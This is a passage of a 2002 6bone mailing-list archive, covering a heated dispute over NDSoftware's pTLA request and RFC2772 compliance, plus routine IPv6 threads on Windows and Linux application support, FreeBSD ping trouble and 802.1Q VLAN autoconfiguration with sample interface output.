site.  There is absolutely NOTHING of consequence, nor do I ever
anticipate there ever being ANYTHING of consequence behind AS25358.

You applied for a pTLA.  I amoung others, pointed out reasons to NOT
allocate a pTLA to your organization, based on RFC2772.

Now, what do you do?

Fix the problems YOU have with compliance to RFC2772?  Hell no!  That
would be using your time and resources in a CONSTRUCTIVE manner and that
is contrary to anything we have seen from you since the beginning of your
pTLA application process.  I think that the world would explode if you
stopped whining.

Instead, you go out looking for problems with OTHER peoples networks.


Here is a piece of advice for you Nicolas.

People who live in glass houses should NOT throw stones.

In other words, fix your OWN problems before you start pointing the finger
at anyone else.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From tvo@EnterZone.Net Thu Oct 31 07:04:03 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Who respect RFC2772 ? (8. 6Bone Operations Group, 9.
 Common rules enforcement for the 6bone)
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On 31 Oct 2002, Nicolas DEFFAYET wrote:

> 6bone folks,
> 
> Flames & co > /dev/null
> 
> 
> RFC2772: http://www.ietf.org/rfc/rfc2772.txt
> 
> 8. 6Bone Operations Group
> 
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
> 
> Nobody monitoring the policing adherence !

Yes.  We are.  And we have a little french baby crying his eyes out
because of it.

>    Participation in the 6Bone is a voluntary and benevolent undertaking.
>    However, participating sites are expected to adhere to the rules and
>    policies described in this document in order to maintain the 6Bone as
>    a quality tool for the deployment of, and transition to, IPv6
>    protocols and the products implementing them.
> 
> See my comments, a lot of pTLA (and 6bone sites) don't respect this
> rules !


Nicolas, in the interest of the overall health of the 6bone and IPv6, I
hereby give you 24 hour notice.  At 3pm GMT on November 1, 2002, AS13944
intends to sever all ties to AS25358.  I have pondered this decision for
several weeks, all the while hoping that you would show some sign of being
an adult capable of interacting with other adults in a professional
manner.  You have shown absolutely no promise of ever attaining this lofty
goal and in fact have today further demonstrated your grade school
mentality.

I think that it is best that all ties with NDSoftware be severed while the
overall impact to the 6bone and IPv6 is still minimal.  I apologise to any
downstream of NDSoftware that this may inconvenience.  I will assist you
in obtaining alternate connectivity if necessary.  I can only say that you
should have seen the writing on the wall long ago and cut your lossed
then.

>       under their respective pTLA prefix have been delegated.
> 
> A lot of pTLA respect this rules only during the pTLA request.

More whining.  Nicolas, are you trying to tell us that you're 100% RFC2772
compliant?  

>    2. When a site detects an issue, it SHOULD first use the 6Bone
>       registry to contact the site maintainer and work the issue.
> 
> How do you contact a pTLA when in the whois you have an invalid email
> address that bounce ?

Have you ever heard of a telephone?  How about sending a request to the
6bone list that someone from that pTLA contact you.

> 
> The pTLA said in their pTLA request that they agree to all current and
> future rules and policies !
> 
> Do you think that this pTLA who don't respect the RFC2772 must keep
> their pTLA ?

Which pTLA are you referring to?  Why didn't you object to their request
for a pTLA?  Why are you pointing fingers instead of FIXING YOUR OWN
PROBLEMS?


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



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Anssi Porttikivi <anssi.porttikivi@teleware.fi> wrote:

> Has anyone compiled list of MS and non-MS Windows programs, that work
with IPv6 on XP? Do they understand style [::] addresses? How do they do
address selection between 4 and 6? Always use the first one returned by
the DNS?

[::] are out in anything XP/.Net on Windows. There is an RFC about this,
but I am not sure which.
Hosts should be addressed by there hostname, not by IP.
Yes, I know an exception would be for management and yes the patch is
coming up for PuTTY to allow it, I've also been busy patching it up so
that it finally can fall back to IPv4.

> If all wininet.dll using programs work automatically with proper
address selection and DNS calls, how come XP IPv6 docs only mentions IE,
ftp, telnet, Network Monitor & other utilities...? How about Office
programs? Other MS Programs? 

*any* program using wininet.dll automatically gets IPv6 support,
which is quite neat, and yes, even WinAmp's browser understands it then
:)
I also have seen some other programs which automatically use IPv6
because of that.
Only problem is that many application developers need to be made aware
of
the possibility of IPv6, eg Mozilla doesn't do IPv6 on Windows :(
And for Apache2 one still needs seperate patches even though they claim
to support IPv6 on all platforms that have IPv6.

Windows.Net will support most default applications with IPv6 out of the
box.
But to be sure ask it on: msripv6-users@list.research.microsoft.com
And check http://www.microsoft.com/ipv6/

I also hope that Outlook will start supporting IPv6 soon(tm)

> How about Linux distributions? What are the IPv6-ready packages in
RedHat 8? Debian Woody?

Debian has a special IPv6 aware project: http://debian.fabbione.net
I don't know about Redhat though, it's not my kind of thing :)

And for all of the above check: http://hs247.com which contains many
links ;)

Greets,
 Jeroen


From tvo@EnterZone.Net Thu Oct 31 07:08:03 2002
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cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Who respect RFC2772 ? (5. The 6Bone Registry + 6.
 Guidelines for new sites joining the 6Bone)
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On 31 Oct 2002, Nicolas DEFFAYET wrote:

May I suggest that you fix your OWN problems before you start pointing out
issues with other peoples objects?  You've had nearly two weeks to correct
that problems I illustrated with your request.  You have not done so.

> Many pTLA don't have reverse delegation for their pTLA, how they can
> delegate the reverse delegation to a 6bone site ?

And who would that be Nicolas?  Have you contacted THEM regarding this
matter?  Are you part of the solution or are you, in typical Nicolas
DEFFAYET fashion, simply part of the problem?


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From JeanThery@olympus-zone.net Thu Oct 31 07:10:25 2002
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-----Original Message-----
From: "Anssi Porttikivi" <anssi.porttikivi@teleware.fi>
To: <6bone@ISI.EDU>
Date: Thu, 31 Oct 2002 07:02:39 +0200
Subject: [6bone] List of IPv6 compatible Windows programs? Degree of 
support in the most popular Linux distributions?

> Has anyone compiled list of MS and non-MS Windows programs, that work
> with IPv6 on XP? Do they understand style [::] addresses? How do they
> do address selection between 4 and 6? Always use the first one returned
> by the DNS?

you can find list of compatibles programs on www.hs247.com,
they effectively understanding style [::] addresses,
the first is always IPv6 (AAAA reg type) when available.
(the choice is made from the client)

> If all wininet.dll using programs work automatically with proper
> address selection and DNS calls, how come XP IPv6 docs only mentions
> IE, ftp, telnet, Network Monitor & other utilities...? How about Office
> programs? Other MS Programs? 

at this time other MS Programs support IPv6 only if they're directly 
linked with wininet.dll

> How about Linux distributions? What are the IPv6-ready packages in
> RedHat 8? Debian Woody?

i don't know for Linux i'm using FreeBSD.

Jean Théry
Network Engineer
www.CorailSystems.fr
253 rue gallieni 92774
Boulogne/Billancourt France


From sbranden@redhat.com Thu Oct 31 07:23:53 2002
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From: "Stacy J. Brandenburg" <sbranden@redhat.com>
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 in the most popular Linux distributions?
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Here are some descent sites you may want to review on the Linux side of 
the table.


http://www.europe.redhat.com/documentation/HOWTO/Net-HOWTO/x1392.php3
http://www.wcug.wwu.edu/ipv6/faq/
http://www.linux-ipv6.org/

>>How about Linux distributions? What are the IPv6-ready packages in
>>RedHat 8? Debian Woody?

-- 
========================================================
= Stacy J. Brandenburg                    Red Hat Inc. =
= Sr. Network Engineer           http://www.redhat.com =
= 919-754-3700 x44313              sbranden@redhat.com =
========================================================


From michael@kjorling.com Thu Oct 31 07:28:31 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Oct 31 2002 16:03 +0100, Jeroen Massar wrote:

> [::] are out in anything XP/.Net on Windows. There is an RFC about this,
> but I am not sure which.
> Hosts should be addressed by there hostname, not by IP.

Really? I have been rather unwilling to participate here in the last
month because of all the mudslinging regarding the NDSOFTWARE pTLA
request (to which I felt I could add very little), but this is
something that really surprises me.

I have learned that hosts should, for convinience, be addressed by a
host name, most commonly found in the DNS. If there is no such name,
or that this for some other reason is not practical or even usable, IP
addresses (both IPv4 and IPv6) are just as valid. IP works with
addresses, not host names.

Since when is using IP addresses to reference hosts deprecated? Does
anyone have any idea what RFC Jeroen is talking about, or maybe you
remember the first two digits of the number Jeroen? (Just to get the
general idea about where to look.)

Or did I misunderstand what you wrote?


Michael Kjörling
... -- ----- -.-- -... -.--

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com - Amateur Radio: SMØYBY   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

iD8DBQE9wUwcKqN7/Ypw4z4RAl8HAJ4xZwatgNS3FwtuYhXb/uh6OP8fOwCgmyFG
ZrPDIHixhRlk0C4Nh+rdGoc=
=Nkct
-----END PGP SIGNATURE-----



From jeroen@unfix.org Thu Oct 31 08:10:51 2002
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To: "'Michael Kjorling'" <michael@kjorling.com>,
   "'6bone'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] 6bone] List of IPv6 compatible Windows programs? Degree of support in the most popular Linux distributions?
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Michael Kjorling wrote:

> On Oct 31 2002 16:03 +0100, Jeroen Massar wrote:
> 
> > [::] are out in anything XP/.Net on Windows. There is an 
> RFC about this,
> > but I am not sure which.
> > Hosts should be addressed by there hostname, not by IP.

<SNIP>

> I have learned that hosts should, for convinience, be addressed by a
> host name, most commonly found in the DNS. If there is no such name,
> or that this for some other reason is not practical or even usable, IP
> addresses (both IPv4 and IPv6) are just as valid. IP works with
> addresses, not host names.
> 
> Since when is using IP addresses to reference hosts deprecated? Does
> anyone have any idea what RFC Jeroen is talking about, or maybe you
> remember the first two digits of the number Jeroen? (Just to get the
> general idea about where to look.)
>
> Or did I misunderstand what you wrote?

Referencing machines by IP is not deprecated (ofcourse not ;),
using IP's for public access devices is. For example putting a:
<a href="http://[fec0::1000]">Come to my site</a> is really useful
(not).

Check the discussion we had on the ipng list:
http://www.wcug.wwu.edu/lists/ipng/200111/msg00024.html

Greets,
 Jeroen

PS: http://images.ucomics.com/comics/ft/2002/ft021031.gif
No offense to MS by the way :) - Happy Halloween!


From pekkas@netcore.fi Thu Oct 31 08:41:22 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Anssi Porttikivi <anssi.porttikivi@teleware.fi>
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Subject: Re: [6bone] List of IPv6 compatible Windows programs? Degree of
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On Thu, 31 Oct 2002, Anssi Porttikivi wrote:
> How about Linux distributions? What are the IPv6-ready packages in
> RedHat 8? Debian Woody? 

http://www.bieringer.de/linux/IPv6/status/IPv6+Linux-status-distributions.html

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bmanning@ISI.EDU Thu Oct 31 09:04:39 2002
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Bob has asked that discussion on the NDS request for 6bone space
conclude. If these debates continue, I will moderate the list.


-- bill
"When in doubt, Twirl..."  -anon

From paul@timmins.net Thu Oct 31 09:13:03 2002
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Subject: Re: [6bone] Who respect RFC2772 ? (4. Routing Policies for the
	6bone)
From: Paul Timmins <paul@timmins.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Thu, 2002-10-31 at 05:34, Nicolas DEFFAYET wrote:
> Sprint: http://www.sprintv6.net/aspath/odd-routes1.html

> The pTLA said in their pTLA request that they agree to all current and
> future rules and policies !

If you are trying to suggest that SprintV6 doesn't aggregate and
announces long prefixes, I take issue with that.  Sprint does filtering
very well. I recieve transit from them, and recieve routes via a private
ASN, and not only has my block never been announced to their peers, I
don't recieve the specifics of other transit customers of sprint.
http://ipv6.timmins.net/bgp/odd-routes1.html
In fact, the only specific I carry is my own. I am a transit customer of
sprint, and I exchange prefixes with Viagenie as well.
I have inbound filters, but sprint's announcements pass through 100%.
I didn't want to get into this, but Sprint has always complied with RFC
2772, and even as an end point, they've been willing to help me comply
where applicable.
That, and as my mom always said, "If everyone else jumped off a bridge,
would you?" Because others break the rules doesn't give you permission
to.

-Paul

-- 
Paul Timmins
paul@timmins.net / http://www.timmins.net/
H: 248-683-7295 / C: 248-379-7826 / DC: 130*116*24495
A: noweb4u / R: KC8QAY


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Date: Thu, 31 Oct 2002 12:37:56 -0500
From: Larry Honig <larhonig@ix.netcom.com>
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Hi, lurker here. I am reminded of the old ARIN list. Let's face it,
these sorts of controversies represent a predictable stage on the
bleeding edge->general acceptance continuum. Let the black helicopters
fly! (Seriously though, the content level of this list has, up until
about three weeks ago, been remarkably high. Let's keep it that way.)

Bill Manning wrote:

> Bob has asked that discussion on the NDS request for 6bone space
> conclude. If these debates continue, I will moderate the list.
>
> -- bill
> "When in doubt, Twirl..."  -anon
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From rrockell@sprint.net Thu Oct 31 09:52:06 2002
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cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
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Subject: Re: [6bone] Who respect RFC2772 ? (4. Routing Policies for the 6bone)
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Nicolas,

that's a view of our backbone. On our backbone, we'd probably want to carry
our customer routes (the /48's within 3ffe:2900::/24).   Forwarding would
get weird if we didn't carry a RIB with our customer's prefixes in them. :)

You'll want to check an extrenal looking glass to see what is being HEARD
from Sprint, and I'm hoping (if I can still configure a router; I think I
can) that nothing is leaking. If it is, please let me know, and we'll be sure
to fix it.

thanks for the reminder though. Please feel free to write me directly with
any future infractions you see (or you can contact our group at
ipv6-support@sprint.net).  I'll make sure to go through them all, and see
what is getting exported outside of our ASN.

I think 2772 leaves room to hear some more specifics, even from a pTLA, if
it is for a load-sharing purpose (especially if people have set up their
space geographically based), especially as the 6bone is still all ICMP, and
predominantly 'friendly'.  When we see more traffic, we will most likely go
back to a strictly 'hot-potato' enviroment for our peers, as is predominant
practice in bi-laterals today at the highest levels.

remember, it's all about constraining non-aggreagtion so it doesn't
contribue to a global problem.  I think that was the intention of the
writing.





Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On 31 Oct 2002, Paul Timmins wrote:

->On Thu, 2002-10-31 at 05:34, Nicolas DEFFAYET wrote:
->> Sprint: http://www.sprintv6.net/aspath/odd-routes1.html
->
->> The pTLA said in their pTLA request that they agree to all current and
->> future rules and policies !
->
->If you are trying to suggest that SprintV6 doesn't aggregate and
->announces long prefixes, I take issue with that.  Sprint does filtering
->very well. I recieve transit from them, and recieve routes via a private
->ASN, and not only has my block never been announced to their peers, I
->don't recieve the specifics of other transit customers of sprint.
->http://ipv6.timmins.net/bgp/odd-routes1.html
->In fact, the only specific I carry is my own. I am a transit customer of
->sprint, and I exchange prefixes with Viagenie as well.
->I have inbound filters, but sprint's announcements pass through 100%.
->I didn't want to get into this, but Sprint has always complied with RFC
->2772, and even as an end point, they've been willing to help me comply
->where applicable.
->That, and as my mom always said, "If everyone else jumped off a bridge,
->would you?" Because others break the rules doesn't give you permission
->to.
->
->-Paul
->
->--
->Paul Timmins
->paul@timmins.net / http://www.timmins.net/
->H: 248-683-7295 / C: 248-379-7826 / DC: 130*116*24495
->A: noweb4u / R: KC8QAY
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From daniel@kewlio.net Thu Oct 31 10:15:48 2002
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Subject: Re: [6bone] Who respect RFC2772 ? (4. Routing Policies for the 6bone)
Date: Thu, 31 Oct 2002 18:14:05 -0000
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Hi 6bone folk,

Just for the record, please dont use our looking glass or ASpath tree to
identify unaggregated prefixes as we filter *outbound* only.

However, should anyone see any unaggregated prefixes *from* us, please email
ipv6@kewlio.net and/or here and we'll fix it right away!


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


----- Original Message -----
From: "Robert J. Rockell" <rrockell@sprint.net>
To: "Paul Timmins" <paul@timmins.net>
Cc: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>;
<6bone@mailman.isi.edu>
Sent: Thursday, October 31, 2002 5:53 PM
Subject: Re: [6bone] Who respect RFC2772 ? (4. Routing Policies for the
6bone)


> Nicolas,
>
> that's a view of our backbone. On our backbone, we'd probably want to
carry
> our customer routes (the /48's within 3ffe:2900::/24).   Forwarding would
> get weird if we didn't carry a RIB with our customer's prefixes in them.
:)
>
> You'll want to check an extrenal looking glass to see what is being HEARD
> from Sprint, and I'm hoping (if I can still configure a router; I think I
> can) that nothing is leaking. If it is, please let me know, and we'll be
sure
> to fix it.
>
> thanks for the reminder though. Please feel free to write me directly with
> any future infractions you see (or you can contact our group at
> ipv6-support@sprint.net).  I'll make sure to go through them all, and see
> what is getting exported outside of our ASN.
>
> I think 2772 leaves room to hear some more specifics, even from a pTLA, if
> it is for a load-sharing purpose (especially if people have set up their
> space geographically based), especially as the 6bone is still all ICMP,
and
> predominantly 'friendly'.  When we see more traffic, we will most likely
go
> back to a strictly 'hot-potato' enviroment for our peers, as is
predominant
> practice in bi-laterals today at the highest levels.
>
> remember, it's all about constraining non-aggreagtion so it doesn't
> contribue to a global problem.  I think that was the intention of the
> writing.
>
>
>
>
>
> Thanks
> Rob Rockell
> SprintLink
> (+1) 703-689-6322
> -----------------------------------------------------------------------
>
> On 31 Oct 2002, Paul Timmins wrote:
>
> ->On Thu, 2002-10-31 at 05:34, Nicolas DEFFAYET wrote:
> ->> Sprint: http://www.sprintv6.net/aspath/odd-routes1.html
> ->
> ->> The pTLA said in their pTLA request that they agree to all current and
> ->> future rules and policies !
> ->
> ->If you are trying to suggest that SprintV6 doesn't aggregate and
> ->announces long prefixes, I take issue with that.  Sprint does filtering
> ->very well. I recieve transit from them, and recieve routes via a private
> ->ASN, and not only has my block never been announced to their peers, I
> ->don't recieve the specifics of other transit customers of sprint.
> ->http://ipv6.timmins.net/bgp/odd-routes1.html
> ->In fact, the only specific I carry is my own. I am a transit customer of
> ->sprint, and I exchange prefixes with Viagenie as well.
> ->I have inbound filters, but sprint's announcements pass through 100%.
> ->I didn't want to get into this, but Sprint has always complied with RFC
> ->2772, and even as an end point, they've been willing to help me comply
> ->where applicable.
> ->That, and as my mom always said, "If everyone else jumped off a bridge,
> ->would you?" Because others break the rules doesn't give you permission
> ->to.
> ->
> ->-Paul
> ->
> ->--
> ->Paul Timmins
> ->paul@timmins.net / http://www.timmins.net/
> ->H: 248-683-7295 / C: 248-379-7826 / DC: 130*116*24495
> ->A: noweb4u / R: KC8QAY
> ->
> ->_______________________________________________
> ->6bone mailing list
> ->6bone@mailman.isi.edu
> ->http://mailman.isi.edu/mailman/listinfo/6bone
> ->
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From cfaber@fpsn.net Thu Oct 31 15:24:07 2002
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Hi folks,

 One of my freebsd machines seems to be having problems with it's ipv6
setup.  The problem is that from some of the machines on my network I
can't ping the freebsd box until it starts to ping the machine which
is trying to ping it. Ping/Connect etc.

Any ways the one MS box I have on the network can't really seem to talk
to it at all even though all machines can talk to any other machine.

Any suggestions on trouble shooting?

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.

* Black holes are where God divided by zero. *

From jeroen@unfix.org Thu Oct 31 16:41:00 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Colin Faber'" <cfaber@fpsn.net>, "'6Bone'" <6bone@ISI.EDU>
Subject: RE: [6bone] Bizarre problems in freebsd.
Date: Fri, 1 Nov 2002 01:40:31 +0100
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Colin Faber wrote:

> Hi folks,
> 
>  One of my freebsd machines seems to be having problems with it's ipv6
> setup.  The problem is that from some of the machines on my network I
> can't ping the freebsd box until it starts to ping the machine which
> is trying to ping it. Ping/Connect etc.
> 
> Any ways the one MS box I have on the network can't really 
> seem to talk
> to it at all even though all machines can talk to any other machine.
> 
> Any suggestions on trouble shooting?

You might start by giving a detailed listing of OS's and version
numbers, routing tables, interface configurations etc.
We know only know that you are trying to ping "IPv6 hosts" concerning at
least 1 freebsd box and 1 windows box.

Greets,
 Jeroen


From basit@basit.cc Thu Oct 31 20:28:51 2002
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From: Abdul Basit <basit@basit.cc>
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also tcpdump dumps will certainly help on both sides

- basit

On Fri, 1 Nov 2002, Jeroen Massar wrote:

> Colin Faber wrote:
>
> > Hi folks,
> >
> >  One of my freebsd machines seems to be having problems with it's ipv6
> > setup.  The problem is that from some of the machines on my network I
> > can't ping the freebsd box until it starts to ping the machine which
> > is trying to ping it. Ping/Connect etc.
> >
> > Any ways the one MS box I have on the network can't really
> > seem to talk
> > to it at all even though all machines can talk to any other machine.
> >
> > Any suggestions on trouble shooting?
>
> You might start by giving a detailed listing of OS's and version
> numbers, routing tables, interface configurations etc.
> We know only know that you are trying to ping "IPv6 hosts" concerning at
> least 1 freebsd box and 1 windows box.
>
> Greets,
>  Jeroen
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From itojun@itojun.org Thu Oct 31 20:48:56 2002
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Subject: Re: [6bone] Bizarre problems in freebsd. 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Fri, 01 Nov 2002 13:47:56 +0900
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>Hi folks,
>
> One of my freebsd machines seems to be having problems with it's ipv6
>setup.  The problem is that from some of the machines on my network I
>can't ping the freebsd box until it starts to ping the machine which
>is trying to ping it. Ping/Connect etc.
>
>Any ways the one MS box I have on the network can't really seem to talk
>to it at all even though all machines can talk to any other machine.
>
>Any suggestions on trouble shooting?

	it is likely that you have multicast breakage on some of your boxes.

itojun

From enric@satec.es Sun Nov  3 13:16:45 2002
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 encapsulation
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Dear All,

I'm trying to configure a Debian host as an IPv6 firewall. I have just one ethernet card, so I've been playing with
802.1Q, configuring three let's call "subinterfaces".

I use the software from candelatech (http://www.candelatech.com/~greear/vlan.html) to create the subinterfaces, and everything seems to work fine, the interfaces creates link local addresses, they are recognized by the switch, and the communication is fine.

Also I can give the subinterfaces an IPv6 address, and announce it with "radvd" (latest version, 0.7.2). 

>=======================================>
almodis:/home/enric/vlan/vlan# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:00:E8:79:C0:43  
          inet6 addr: fe80::200:e8ff:fe79:c043/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:140467 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6546 errors:36 dropped:0 overruns:0 carrier:72
          collisions:623 txqueuelen:100 
          RX bytes:10607455 (10.1 MiB)  TX bytes:1022885 (998.9 KiB)
          Interrupt:5 Base address:0xe400 

eth0.2    Link encap:Ethernet  HWaddr 00:00:E8:79:C0:43  
          inet addr:213.164.61.200  Bcast:213.164.61.255  Mask:255.255.255.192
          inet6 addr: fe80::200:e8ff:fe79:c043/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:36645 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6497 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3711593 (3.5 MiB)  TX bytes:1002537 (979.0 KiB)
>=======================================>


But I've detected that the interface is not able to autoconfigure when receiving an "Router Advertisement"
The RA is received correctly, but is ignored.


>=======================================>
Router advertisement from fe80::230:94ff:fe0a:b420 (hoplimit 255)
Received by interface eth0.2
        # Note: {Min,Max}RtrAdvInterval cannot be obtained with radvdump
        AdvCurHopLimit: 64
        AdvManagedFlag: off
        AdvOtherConfigFlag: off
        AdvHomeAgentFlag: off
        AdvReachableTime: 0
        AdvRetransTimer: 0
        AdvSourceLLAddress: 00 30 94 0A B4 20 
        Prefix 3ffe:400a:0:803::/64
                AdvValidLifetime: 2592000
                AdvPreferredLifetime: 604800
                AdvOnLink: on
                AdvAutonomous: on
                AdvRouterAddr: off
>=======================================>


I have looked into "/proc/sys/net/ipv6/conf/eth0.2", and "accept_ra" is set to "1", it is TRUE, so it should autoconfigure to the received prefix.

If I try to set the value to "1" or "0" by hand using "sysctl", it gives a syntax error, as it seems not to recognize the "." in the name of the interface, changing it for a "/"


>=======================================>
almodis:/proc/net# sysctl -w net/ipv6/conf/eth0.2/accept_ra=1
error: 'net/ipv6/conf/eth0/2/accept_ra' is an unknown key
almodis:/proc/net# 
>=======================================>

This make me think of a kind of bug, but I can't imagine how to resolve it.

Another point I have seen is that the LINK LOCAL address has the same value in both "eth0" and "eth0.2", I don't know if this can have any relation with the ignoring of the router advertisement.

Any one has tried a similar configuration ? Any ideas ?

Thanks in advance,

Enric Corominas i Bosch
****************************************************************
Enric Corominas i Bosch             enric@satec.es
Network Engineer        

Satec S.A   http://www.satec.es
Edif. TESTA Sant Cugat
Mòdul A, Planta 1                      Tlf:  +34 93 581 67 00
C/Alcalde Barnils, 64-68             Fax:+34 93 581 67 01
Sant Cugat del Valles                 08190 BARCELONA 
****************************************************************


From nicolas.deffayet@ndsoftware.net Sun Nov  3 14:31:20 2002
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Subject: Re: [6bone] Problem with Autoconfiguration when using 802.1Q
	encapsulation
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: enric@satec.es
Cc: 6bone@ISI.EDU
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On Sun, 2002-11-03 at 22:18, Enric Corominas i Bosch wrote:
Dear Enric,

> I'm trying to configure a Debian host as an IPv6 firewall. I have just one ethernet card, so I've been playing with
> 802.1Q, configuring three let's call "subinterfaces".
> 
> I use the software from candelatech (http://www.candelatech.com/~greear/vlan.html) to create the subinterfaces, and everything seems to work fine, the interfaces creates link local addresses, they are recognized by the switch, and the communication is fine.
> 
> Also I can give the subinterfaces an IPv6 address, and announce it with "radvd" (latest version, 0.7.2). 
> 
> >=======================================>
> almodis:/home/enric/vlan/vlan# ifconfig
> eth0      Link encap:Ethernet  HWaddr 00:00:E8:79:C0:43  
>           inet6 addr: fe80::200:e8ff:fe79:c043/10 Scope:Link
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>           RX packets:140467 errors:0 dropped:0 overruns:0 frame:0
>           TX packets:6546 errors:36 dropped:0 overruns:0 carrier:72
>           collisions:623 txqueuelen:100 
>           RX bytes:10607455 (10.1 MiB)  TX bytes:1022885 (998.9 KiB)
>           Interrupt:5 Base address:0xe400 
> 
> eth0.2    Link encap:Ethernet  HWaddr 00:00:E8:79:C0:43  
>           inet addr:213.164.61.200  Bcast:213.164.61.255  Mask:255.255.255.192
>           inet6 addr: fe80::200:e8ff:fe79:c043/10 Scope:Link
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>           RX packets:36645 errors:0 dropped:0 overruns:0 frame:0
>           TX packets:6497 errors:0 dropped:0 overruns:0 carrier:0
>           collisions:0 txqueuelen:0 
>           RX bytes:3711593 (3.5 MiB)  TX bytes:1002537 (979.0 KiB)
> >=======================================>
> 
> 
> But I've detected that the interface is not able to autoconfigure when receiving an "Router Advertisement"
> The RA is received correctly, but is ignored.
> 
> 
> >=======================================>
> Router advertisement from fe80::230:94ff:fe0a:b420 (hoplimit 255)
> Received by interface eth0.2
>         # Note: {Min,Max}RtrAdvInterval cannot be obtained with radvdump
>         AdvCurHopLimit: 64
>         AdvManagedFlag: off
>         AdvOtherConfigFlag: off
>         AdvHomeAgentFlag: off
>         AdvReachableTime: 0
>         AdvRetransTimer: 0
>         AdvSourceLLAddress: 00 30 94 0A B4 20 
>         Prefix 3ffe:400a:0:803::/64
>                 AdvValidLifetime: 2592000
>                 AdvPreferredLifetime: 604800
>                 AdvOnLink: on
>                 AdvAutonomous: on
>                 AdvRouterAddr: off
> >=======================================>
> 
> 
> I have looked into "/proc/sys/net/ipv6/conf/eth0.2", and "accept_ra" is set to "1", it is TRUE, so it should autoconfigure to the received prefix.
> 
> If I try to set the value to "1" or "0" by hand using "sysctl", it gives a syntax error, as it seems not to recognize the "." in the name of the interface, changing it for a "/"
> 
> 
> >=======================================>
> almodis:/proc/net# sysctl -w net/ipv6/conf/eth0.2/accept_ra=1
> error: 'net/ipv6/conf/eth0/2/accept_ra' is an unknown key
> almodis:/proc/net# 
> >=======================================>
> 
> This make me think of a kind of bug, but I can't imagine how to resolve it.
> 
> Another point I have seen is that the LINK LOCAL address has the same value in both "eth0" and "eth0.2", I don't know if this can have any relation with the ignoring of the router advertisement.
> 
> Any one has tried a similar configuration ? Any ideas ?

Autoconfiguration don't work probably because you have 2 interfaces with
the same MAC address.

In the USAGI mailing-list
(http://www2.linux-ipv6.org/ml/usagi-users/msg00832.html), YOSHIFUJI
Hideaki wrote:
"It seems that we should modify something to support IPv6."

802.1Q VLAN implementation for Linux need modification for support IPv6
?


Best Regards,

Nicolas DEFFAYET


From barce@frlp.utn.edu.ar Sun Nov  3 19:11:08 2002
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From: "Carlos Alberto Barcenilla" <barce@frlp.utn.edu.ar>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
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Subject: Re: [6bone] Problem with Autoconfiguration when using 802.1Qencapsulation
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Hi!
   I'm using 802.1q with ipv6 in linux routers (see
http://www4.ipv6.frlp.utn.edu.ar) and address autoconfig works fine.

   I think the problem is that forwarding shoul be disabled in order to use
stateless autoconfig, look at this example:

[root@chuky conf]# ip -6 addr sh vlan3
6: vlan3: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
    inet6 fe80::250:bfff:fe1b:e026/10 scope link
    inet6 3ffe:38e1:200:3001::20/64 scope global

[root@chuky conf]# echo 0 >  /proc/sys/net/ipv6/conf/vlan3/forwarding

  A few seconds later vlan3 interface has a new autoconfigured address

[root@chuky conf]# ip -6 addr sh vlan3
6: vlan3: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
    inet6 fe80::250:bfff:fe1b:e026/10 scope link
